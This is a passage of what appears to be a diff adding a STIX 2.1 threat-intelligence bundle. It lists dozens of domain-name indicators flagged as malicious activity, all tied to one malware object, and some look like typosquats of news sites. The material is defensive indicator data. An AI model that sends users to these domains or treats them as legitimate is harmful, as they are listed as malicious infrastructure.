"[domain-name:value='bulgelivestock.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.538657Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b46c7573-dde9-41b1-8909-a70ac9cddf6f", + "created": "2023-03-29T12:58:43.539267Z", + "modified": "2023-03-29T12:58:43.539267Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b7ab89d-6745-46a9-8054-257ebd00cf22", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f68310aa-d229-4371-a64b-24832ba10f0a", + "created": "2023-03-29T12:58:43.53944Z", + "modified": "2023-03-29T12:58:43.53944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='happilydeviation.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.53944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a7bcb8c-7426-41e5-b121-99df2040161f", + "created": "2023-03-29T12:58:43.540049Z", + "modified": "2023-03-29T12:58:43.540049Z", + "relationship_type": "indicates", + "source_ref": "indicator--f68310aa-d229-4371-a64b-24832ba10f0a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e154c5ef-ee31-42da-a3b6-738a91f3ff84", + "created": "2023-03-29T12:58:43.540221Z", + "modified": "2023-03-29T12:58:43.540221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stereovisions.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.540221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db141564-63a1-4574-84c9-2d3c60b7e6ab", + "created": "2023-03-29T12:58:43.540831Z", + "modified": "2023-03-29T12:58:43.540831Z", + "relationship_type": "indicates", + "source_ref": "indicator--e154c5ef-ee31-42da-a3b6-738a91f3ff84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38e16ad4-b3fb-4589-ac2a-a3e2b45a8cba", + "created": "2023-03-29T12:58:43.541007Z", + "modified": "2023-03-29T12:58:43.541007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hurdlecuddly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.541007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14b683ac-7a15-433d-adb5-5ce6f79666fc", + "created": "2023-03-29T12:58:43.541661Z", + "modified": "2023-03-29T12:58:43.541661Z", + "relationship_type": "indicates", + "source_ref": "indicator--38e16ad4-b3fb-4589-ac2a-a3e2b45a8cba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efbe96bb-fffe-470b-8b18-724d4f714a7d", + "created": "2023-03-29T12:58:43.541836Z", + "modified": "2023-03-29T12:58:43.541836Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grainrobotics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.541836Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--738eb78d-6e62-45a6-86b0-ac361e3ac947", + "created": "2023-03-29T12:58:43.542444Z", + "modified": "2023-03-29T12:58:43.542444Z", + "relationship_type": "indicates", + "source_ref": "indicator--efbe96bb-fffe-470b-8b18-724d4f714a7d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e701e51-29d6-4ed4-ba07-b09ef9376600", + "created": "2023-03-29T12:58:43.542619Z", + "modified": "2023-03-29T12:58:43.542619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conductorjaws.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.542619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1e07e52-8c20-47db-b0b1-b5d0abcabb52", + "created": "2023-03-29T12:58:43.543249Z", + "modified": "2023-03-29T12:58:43.543249Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e701e51-29d6-4ed4-ba07-b09ef9376600", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e14159eb-9086-41d9-acd3-b91c761ac914", + "created": "2023-03-29T12:58:43.543441Z", + "modified": "2023-03-29T12:58:43.543441Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='excludeskies.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.543441Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ecbca35-ddce-40aa-8b82-36ae736f7866", + "created": "2023-03-29T12:58:43.544048Z", + "modified": "2023-03-29T12:58:43.544048Z", + "relationship_type": "indicates", + "source_ref": "indicator--e14159eb-9086-41d9-acd3-b91c761ac914", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1b3017f-584b-4453-bb2c-0248c6f37e3b", + "created": "2023-03-29T12:58:43.544228Z", + "modified": "2023-03-29T12:58:43.544228Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outageprorate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.544228Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48afdf8c-e81e-4308-bc9a-fa8b71ada0c7", + "created": "2023-03-29T12:58:43.544848Z", + "modified": "2023-03-29T12:58:43.544848Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1b3017f-584b-4453-bb2c-0248c6f37e3b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e9dfda4-91ef-41b4-a455-bec97471a182", + "created": "2023-03-29T12:58:43.545024Z", + "modified": "2023-03-29T12:58:43.545024Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='silkysquares.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.545024Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--abc46477-7488-4f4f-984f-d15b1206cb70", + "created": "2023-03-29T12:58:43.545848Z", + "modified": "2023-03-29T12:58:43.545848Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e9dfda4-91ef-41b4-a455-bec97471a182", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03478d6d-ef8a-48d0-ab9f-1ec710fd3d3a", + "created": "2023-03-29T12:58:43.546028Z", + "modified": "2023-03-29T12:58:43.546028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seldompost.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.546028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--581714f7-969b-49a9-a35e-b1f556cf3bbc", + "created": "2023-03-29T12:58:43.546651Z", + "modified": "2023-03-29T12:58:43.546651Z", + "relationship_type": "indicates", + "source_ref": "indicator--03478d6d-ef8a-48d0-ab9f-1ec710fd3d3a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2aeeb19-f957-4231-8dbf-9988d91ac6c9", + "created": "2023-03-29T12:58:43.546827Z", + "modified": "2023-03-29T12:58:43.546827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canolaemit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.546827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7bc1f72-3809-4828-8034-6d88465c87eb", + "created": "2023-03-29T12:58:43.547432Z", + "modified": "2023-03-29T12:58:43.547432Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2aeeb19-f957-4231-8dbf-9988d91ac6c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5588fe5b-bb81-4bb7-bc94-67f217c7e44d", + "created": "2023-03-29T12:58:43.547605Z", + "modified": "2023-03-29T12:58:43.547605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sciondeniable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.547605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9462506f-d1d2-47e6-8c42-183bfb8b9bf9", + "created": "2023-03-29T12:58:43.548209Z", + "modified": "2023-03-29T12:58:43.548209Z", + "relationship_type": "indicates", + "source_ref": "indicator--5588fe5b-bb81-4bb7-bc94-67f217c7e44d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f39a4111-8490-4a11-a2ef-853480085625", + "created": "2023-03-29T12:58:43.548383Z", + "modified": "2023-03-29T12:58:43.548383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nationalflavorful.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.548383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--678f75d3-32a4-45b0-9f0c-404a59d17cb4", + "created": "2023-03-29T12:58:43.548998Z", + "modified": "2023-03-29T12:58:43.548998Z", + "relationship_type": "indicates", + "source_ref": "indicator--f39a4111-8490-4a11-a2ef-853480085625", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ca390a6-6048-435f-9b9b-572bf910e8ea", + "created": "2023-03-29T12:58:43.549173Z", + "modified": "2023-03-29T12:58:43.549173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cablingtrack.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.549173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b08383dd-c930-4190-86aa-9bdb546f6488", + "created": "2023-03-29T12:58:43.549788Z", + "modified": "2023-03-29T12:58:43.549788Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ca390a6-6048-435f-9b9b-572bf910e8ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2e92ddf-5cbe-480e-aaee-e0baf8d4612a", + "created": "2023-03-29T12:58:43.549963Z", + "modified": "2023-03-29T12:58:43.549963Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='driedammonia.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.549963Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--524f0b1e-d8e8-4a1e-a2d9-874d8bbc37a9", + "created": "2023-03-29T12:58:43.550571Z", + "modified": "2023-03-29T12:58:43.550571Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2e92ddf-5cbe-480e-aaee-e0baf8d4612a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc3cef95-f191-425d-9f07-f9acc047defc", + "created": "2023-03-29T12:58:43.550748Z", + "modified": "2023-03-29T12:58:43.550748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gondolaopulently.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.550748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ec0ad39-ebec-42f6-b262-eee5013b6455", + "created": "2023-03-29T12:58:43.551361Z", + "modified": "2023-03-29T12:58:43.551361Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc3cef95-f191-425d-9f07-f9acc047defc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--101fc1b9-97ba-49a7-bcc7-e5feafbf3465", + "created": "2023-03-29T12:58:43.551536Z", + "modified": "2023-03-29T12:58:43.551536Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onboardexplore.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.551536Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c250cace-6ebf-4895-bc17-ce2289afd1a2", + "created": "2023-03-29T12:58:43.552145Z", + "modified": "2023-03-29T12:58:43.552145Z", + "relationship_type": "indicates", + "source_ref": "indicator--101fc1b9-97ba-49a7-bcc7-e5feafbf3465", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e46f833-de73-4401-9400-0aa972fd5f78", + "created": "2023-03-29T12:58:43.55232Z", + "modified": "2023-03-29T12:58:43.55232Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiran-ratyat.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.55232Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0275028b-b021-4b30-8010-31eaa1098c04", + "created": "2023-03-29T12:58:43.553039Z", + "modified": "2023-03-29T12:58:43.553039Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e46f833-de73-4401-9400-0aa972fd5f78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--018efc72-3252-4f8c-89a5-b16be9df9254", + "created": "2023-03-29T12:58:43.553216Z", + "modified": "2023-03-29T12:58:43.553216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickenfax.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.553216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cceafb45-f5c9-406f-9f64-2cf8e6afeb39", + "created": "2023-03-29T12:58:43.553908Z", + "modified": "2023-03-29T12:58:43.553908Z", + "relationship_type": "indicates", + "source_ref": "indicator--018efc72-3252-4f8c-89a5-b16be9df9254", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c38321ac-595d-4c5c-989c-3c01e20e6793", + "created": "2023-03-29T12:58:43.554085Z", + "modified": "2023-03-29T12:58:43.554085Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crossscrabble.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.554085Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--feb495f9-b257-4ea3-b53d-b50201005efb", + "created": "2023-03-29T12:58:43.554693Z", + "modified": "2023-03-29T12:58:43.554693Z", + "relationship_type": "indicates", + "source_ref": "indicator--c38321ac-595d-4c5c-989c-3c01e20e6793", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9df5fc88-ac08-47d5-97e2-8acb3219facf", + "created": "2023-03-29T12:58:43.554881Z", + "modified": "2023-03-29T12:58:43.554881Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drainagefencing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.554881Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--680f4f22-a007-43c4-8e71-16654f02867f", + "created": "2023-03-29T12:58:43.55549Z", + "modified": "2023-03-29T12:58:43.55549Z", + "relationship_type": "indicates", + "source_ref": "indicator--9df5fc88-ac08-47d5-97e2-8acb3219facf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd774426-b182-4371-8b80-268bba38f4f5", + "created": "2023-03-29T12:58:43.555667Z", + "modified": "2023-03-29T12:58:43.555667Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iontightwad.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.555667Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bdfb1630-e7a3-4afe-a8da-598cee787bc4", + "created": "2023-03-29T12:58:43.556266Z", + "modified": "2023-03-29T12:58:43.556266Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd774426-b182-4371-8b80-268bba38f4f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2876b4c5-a1c7-4dce-a1bb-fff44e93095c", + "created": "2023-03-29T12:58:43.556438Z", + "modified": "2023-03-29T12:58:43.556438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drinkableunequal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.556438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--463305f6-c044-4ff0-9ea0-efd6a5984538", + "created": "2023-03-29T12:58:43.557046Z", + "modified": "2023-03-29T12:58:43.557046Z", + "relationship_type": "indicates", + "source_ref": "indicator--2876b4c5-a1c7-4dce-a1bb-fff44e93095c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9e92bb1-ed1b-4084-8b99-00d682c8c2f6", + "created": "2023-03-29T12:58:43.557221Z", + "modified": "2023-03-29T12:58:43.557221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiran-ratyat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.557221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4207ff69-1592-4979-9043-981d3c3dbc28", + "created": "2023-03-29T12:58:43.55787Z", + "modified": "2023-03-29T12:58:43.55787Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9e92bb1-ed1b-4084-8b99-00d682c8c2f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa00aecb-90f5-460d-9652-07632992a757", + "created": "2023-03-29T12:58:43.558048Z", + "modified": "2023-03-29T12:58:43.558048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mottofoothill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.558048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba590618-e94c-4409-9ae7-0284443b6135", + "created": "2023-03-29T12:58:43.558665Z", + "modified": "2023-03-29T12:58:43.558665Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa00aecb-90f5-460d-9652-07632992a757", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--461b4c7b-313a-4cdb-8436-e5c76dcb88d0", + "created": "2023-03-29T12:58:43.558838Z", + "modified": "2023-03-29T12:58:43.558838Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jacketaffection.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.558838Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--681ef58a-6ff3-490b-999e-88321a34be80", + "created": "2023-03-29T12:58:43.559453Z", + "modified": "2023-03-29T12:58:43.559453Z", + "relationship_type": "indicates", + "source_ref": "indicator--461b4c7b-313a-4cdb-8436-e5c76dcb88d0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f2e0c1b4-ede8-4660-b012-a9d5f52b386d", + "created": "2023-03-29T12:58:43.559629Z", + "modified": "2023-03-29T12:58:43.559629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vanitycelery.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.559629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54dc640d-9586-4488-9125-fa0720644b77", + "created": "2023-03-29T12:58:43.560633Z", + "modified": "2023-03-29T12:58:43.560633Z", + "relationship_type": "indicates", + "source_ref": "indicator--f2e0c1b4-ede8-4660-b012-a9d5f52b386d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aff08afd-40f6-4d39-9fcd-af15728e38e7", + "created": "2023-03-29T12:58:43.560813Z", + "modified": "2023-03-29T12:58:43.560813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trackguard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.560813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8703a73a-f7ad-4d45-aa8a-11854a83a6ed", + "created": "2023-03-29T12:58:43.561415Z", + "modified": "2023-03-29T12:58:43.561415Z", + "relationship_type": "indicates", + "source_ref": "indicator--aff08afd-40f6-4d39-9fcd-af15728e38e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b493150-ed15-4639-9f9c-a1712cbc83b5", + "created": "2023-03-29T12:58:43.561596Z", + "modified": "2023-03-29T12:58:43.561596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='badgeensure.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.561596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3c17d67-f0e7-4601-b07d-b16e780e842f", + "created": "2023-03-29T12:58:43.562199Z", + "modified": "2023-03-29T12:58:43.562199Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b493150-ed15-4639-9f9c-a1712cbc83b5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37a30e37-08f1-4c0e-ba87-4ef453567f86", + "created": "2023-03-29T12:58:43.562375Z", + "modified": "2023-03-29T12:58:43.562375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='polkadotpapers.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.562375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f205064e-7c06-4443-a4e2-de61eb2b2aef", + "created": "2023-03-29T12:58:43.562982Z", + "modified": "2023-03-29T12:58:43.562982Z", + "relationship_type": "indicates", + "source_ref": "indicator--37a30e37-08f1-4c0e-ba87-4ef453567f86", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c831ac37-1926-491a-b516-2fba7f7d0643", + "created": "2023-03-29T12:58:43.563154Z", + "modified": "2023-03-29T12:58:43.563154Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sauntereram.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.563154Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3be76d02-f4f4-4ed0-8ea6-8e0dfab3f93a", + "created": "2023-03-29T12:58:43.563752Z", + "modified": "2023-03-29T12:58:43.563752Z", + "relationship_type": "indicates", + "source_ref": "indicator--c831ac37-1926-491a-b516-2fba7f7d0643", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3716beb9-b476-49eb-85a6-b721862ae7af", + "created": "2023-03-29T12:58:43.563925Z", + "modified": "2023-03-29T12:58:43.563925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saturateensure.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.563925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8a6ab80-4147-4416-812c-9cf1a6ed2865", + "created": "2023-03-29T12:58:43.564533Z", + "modified": "2023-03-29T12:58:43.564533Z", + "relationship_type": "indicates", + "source_ref": "indicator--3716beb9-b476-49eb-85a6-b721862ae7af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bb0ae3f-c5c1-438d-ac3b-9d5c9602e688", + "created": "2023-03-29T12:58:43.564705Z", + "modified": "2023-03-29T12:58:43.564705Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wranglesmartness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.564705Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e185741-fb79-4f21-95d6-6ebd442b5ad9", + "created": "2023-03-29T12:58:43.565315Z", + "modified": "2023-03-29T12:58:43.565315Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bb0ae3f-c5c1-438d-ac3b-9d5c9602e688", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd500939-8831-4073-a912-18393a29cbe9", + "created": "2023-03-29T12:58:43.565489Z", + "modified": "2023-03-29T12:58:43.565489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunnevs.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.565489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe36a9cc-27ce-41ae-b67b-d3b2a9971cd7", + "created": "2023-03-29T12:58:43.566095Z", + "modified": "2023-03-29T12:58:43.566095Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd500939-8831-4073-a912-18393a29cbe9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--694e68d0-1e7b-4b59-9532-ab4ab7eaa256", + "created": "2023-03-29T12:58:43.566269Z", + "modified": "2023-03-29T12:58:43.566269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vocationeject.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.566269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c778e86-aea4-4066-b1a9-25015ec04b13", + "created": "2023-03-29T12:58:43.566874Z", + "modified": "2023-03-29T12:58:43.566874Z", + "relationship_type": "indicates", + "source_ref": "indicator--694e68d0-1e7b-4b59-9532-ab4ab7eaa256", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e9d3d66-50e1-4638-aff3-ace336908b0c", + "created": "2023-03-29T12:58:43.567045Z", + "modified": "2023-03-29T12:58:43.567045Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retrainstraggler.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.567045Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da804593-0b16-49ca-99b8-ac951726bcd1", + "created": "2023-03-29T12:58:43.567652Z", + "modified": "2023-03-29T12:58:43.567652Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e9d3d66-50e1-4638-aff3-ace336908b0c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ad37825-4a0f-4cde-80df-7383426a24cf", + "created": "2023-03-29T12:58:43.567824Z", + "modified": "2023-03-29T12:58:43.567824Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stoppagesneer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.567824Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a461d834-e44b-4149-9b91-071a5f4310bb", + "created": "2023-03-29T12:58:43.568546Z", + "modified": "2023-03-29T12:58:43.568546Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ad37825-4a0f-4cde-80df-7383426a24cf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc15c441-9e5c-4e8f-a959-302ca7fb7624", + "created": "2023-03-29T12:58:43.568724Z", + "modified": "2023-03-29T12:58:43.568724Z", + 